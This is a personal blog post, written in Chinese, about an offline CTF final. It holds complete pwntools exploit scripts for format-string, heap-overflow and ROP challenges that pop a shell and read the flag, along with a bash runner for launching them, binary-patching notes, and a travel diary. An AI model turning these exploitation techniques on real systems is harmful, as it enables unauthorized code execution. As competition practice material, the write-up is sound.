2022的省赛决赛被拖到了2023,还和网鼎杯撞了(

本来4人的队,有两个队友去网鼎杯了,然后只剩我一个pwn和一个crypto师兄去打

第二次打线下,第一次接触dawd这种赛制

比赛

赛前一直在摸鱼,开赛前一天才开始看手册上的赛制介绍,然后学着写shell脚本和用来修复程序的 ida patch

用来攻击的shell脚本,每次执行会自动运行当前目录下所有的名字以exp开头并以py结尾的文件

1
2
3
4
5
6
7
8
#!/bin/bash

for file in *; do
if [[ $file =~ ^exp.*\.py$ ]]; then
echo "exec $file"
python2 $file $1 $2
fi
done

dawd_pwn_ttt

找到的洞有3个,栈溢出、格式化字符串和堆溢出,比赛时只打了格式化字符串和堆溢出

手快拿到了一血

exp

fmtstr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# -*- coding: UTF-8 -*-
from pwn import *
import sys

exe = './pwn'
libc_path = 'libc-2.23.so'
local = len(sys.argv) <= 1
if local == 0:
ip = sys.argv[1]
port = int(sys.argv[2])

context.binary = exe

elf = ELF(exe, checksec = False)
libc = ELF(libc_path, checksec = False)

def start_io():
global io
if local:
io = process(exe)
else:
io = remote(ip, port)

ru = lambda x : io.recvuntil(x, drop = True)
sl = lambda x : io.sendline(x)
sa = lambda a, b : io.sendafter(a, b)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()
uu64 = lambda x : u64(x.ljust(8, '\x00'))
libc_os = lambda x : libc_base + x
pie_os = lambda x : pie_base + x
libc_sym = lambda x : libc_os(libc.sym[x])
lg = lambda x : info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (x, eval(x)))

def menu(choice):
sla('>>>>\n', str(choice))

def fmt(pld):
menu(5)
sa('It\'s a gift\n', pld)

start_io()
sa('First, please tell me your name.\n', 'junk')
sa('tell me:', 'junk')
pld = flat([
'%21$p,%20$p,%19$p,'
])
fmt(pld)
pie_base = int(ru(','), 16) - (0x56390060166b - 0x563900600000)
lg('pie_base')
stack_addr = int(ru(','), 16)
lg('stack_addr')
canary = int(ru(','), 16)
lg('canary')
pld = flat([
'%7$saaaa',
pie_os(0x0000000000202290)
])
fmt(pld)
puts_addr = uu64(ru('aaaa'))
libc_base = puts_addr - libc.sym['atoi']
sys_addr = libc_sym('system')
lg('libc_base')
lg('sys_addr')
pld = flat([
'%',
str(int(hex(sys_addr)[-2:], 16)),
'c',
'%11$hhn',
'%',
str(int(hex(sys_addr)[-6:-2], 16) - int(hex(sys_addr)[-2:], 16)),
'c',
'%12$hn',
])
pld = pld.ljust(0x28, 'a')
pld += flat([
pie_os(0x0000000000202258),
pie_os(0x0000000000202258+1)
])
fmt(pld)
fmt('/bin/sh\x00')
sl('cat flag')
print io.recv()
ia()

heap overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
# -*- coding: UTF-8 -*-
from pwn import *
import sys

exe = './pwn'
libc_path = 'libc-2.23.so'
local = len(sys.argv) <= 1
if local == 0:
ip = sys.argv[1]
port = int(sys.argv[2])

context.binary = exe

elf = ELF(exe, checksec = False)
libc = ELF(libc_path, checksec = False)

def start_io():
global io
if local:
io = process(exe)
else:
io = remote(ip, port)

rc = lambda n : io.recv(n)
ru = lambda x : io.recvuntil(x, drop = True)
sl = lambda x : io.sendline(x)
sa = lambda a, b : io.sendafter(a, b)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()
uu64 = lambda x : u64(x.ljust(8, '\x00'))
libc_os = lambda x : libc_base + x
lg = lambda x : info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (x, eval(x)))

def menu(choice):
sla('>>>>\n', str(choice))

def set_content(pld):
menu(2)
sa('Take up the challenge.\n', pld)

def add(idx, size):
menu(6)
sla('Index:', str(idx))
sla('Size of Heap : ', str(size))

def delete(idx):
menu(7)
sla('Index:', str(idx))

def show(idx):
menu(8)
sla('Index :', str(idx))

def edit(idx, content, exc):
menu(9)
sla('Index:', str(idx))
sla('Content?:', content)
sla('you want exc?\n', str(exc))

start_io()
sa('First, please tell me your name.\n', 'junk')
sa('tell me:', 'a' * 0x50)
add(0, 0x40)
add(1, 0x80)
add(2, 0x40)
delete(1)
set_content('a' * 0x50)
edit(0, 'a', 101)
show(0)
ru('a' * 0x50)
libc_base = uu64(rc(6)) - (0x7f1aebc46b78 - 0x7f1aeb882000)
lg('libc_base')
set_content('a' * 0x40 + flat(0, 0x91))
edit(0, 'a', 101)
add(3, 0x70)
fake_fast = libc_os(0x7f6cefc7caed - 0x7f6cef8b8000)
add(4, 0x60)
add(5, 0x40)
add(6, 0x90)
add(7, 0x40)
pld = flat({
0x40: [
0x1a0,
0xa0,
]
})
set_content(pld)
edit(5, 'a', 101)
delete(3)
delete(6)
delete(4)
add(8, 0x100)
pld = flat({
0xd0: [
0,
0x70,
fake_fast,
]
})
edit(8, pld, 0)
add(9, 0x60)
add(10, 0x60)
one = libc_os(0xf1247)
edit(10, 'a' * 0x13 + flat(one), 0)
add(11, 0x40)
sl('cat flag')
print io.recv()
ia()

patch

fmtstr

利用 patch bytes 修改偏移将 call _printf 修改为 call _puts

heap overflow

利用 patch bytes 修改堆溢出的条件

rop-smash-bros

比赛时没逆出来,然后直到最后几分钟才想起来有流量这个东西,赛后拿了两三份流量把流量里的payload抄进exp里,没想到居然通了,血亏(主要还是线下经验太少了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# -*- coding: UTF-8 -*-
from pwn import *
import sys

exe = './pwn'
local = len(sys.argv) <= 1
if local == 0:
ip = sys.argv[1]
port = int(sys.argv[2])

context.binary = exe

def start_io():
global io
if local:
io = process(exe)
else:
io = remote(ip, port)

sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a, b : io.sendafter(a, b)
ia = lambda : io.interactive()

start_io()
sa('>> ', '\x31\x38\x0a')
sa('>> ', '\x31\x38\x0a')
sa('>> ', '\x32\x31\x0a')
sa('>> ', '\x31\x38\x0a')
sa('>> ', '\x31\x38\x0a')
sa('>> ', '\x32\x31\x0a')
sa('>> ', '\x32\x35\x0a')
sa('>> ', '\x31\x38\x0a')
sa('>> ', '\x31\x38\x0a')
sa('>> ', '\x32\x31\x0a')
sa('>> ', '\x32\x34\x0a')
sa('>> ', '\x31\x31\x34\x35\x31\x34\x0a')
sd(p32(0))
sd('\xf8\x5f\x66\x00')
sd(p32(0))
sd('\x00\x40\x23\x01')
sd(p32(0))
sd('\x00\x40\x23\x01')
sl('cat flag')
print io.recv()
ia()

patch

execute shellcode

把执行shellcode的 call rdxnop

flag string

因为比赛时主办方的服务器权限不对,这道题实际上是不会把patch过文件替换过去的,所以也不知道这种方法会不会被 check down(有点算通防,感觉大概率会down掉

方法就是把 open("/flag", 0) 中的flag字符串修改为其他的字符串

旅游

比赛太坐牢了,所以现在才是正片(

比赛的地点是惠州学院,校门好像比我们的好看一点

一进校门就看到这次比赛的广告牌(还是比较有牌面的

伴手礼有点单薄(对比上个月的西湖论剑),就一个惠州学院的手提袋,里面一个参赛证和一本惠州学院的笔记本

住在他们交流中心的房间里,房间的配置还是有点低于预期的(特别是一次性的沐浴露洗发水和看起来不是特别干净的毛巾

刚去到的那个中午吃的老车田客家菜,味道还行(但咸鸡没有家里爸妈做的好吃

当天晚上和深大Aurora的师傅们一起吃了牛肉火锅,忘记拍照了

比赛结束那天晚上去西湖边上吃了晚餐,然后和队友一起去逛西湖,不得不说西湖变化挺大的,和以前小时候来时相比变好看了许多,人也多了许多

最后回到惠州学院时,想找地方买点水和吃的东西。刚好遇到了一个这里计院的女生,她带着我们去了学校里的超市,很健谈,路上和我们聊了这个学校和附近好玩的地方(西湖、红花湖……)。感觉惠州学院比我想象中的要大,环境也挺好的(第一张照片是在他们校道上拍的,不小心拍糊了,但只有这张了

买零食回房间当夜宵

最后一天中午有个师兄说想吃窑鸡于是一起去吃了顿窑鸡,然后就准备坐高铁回学校力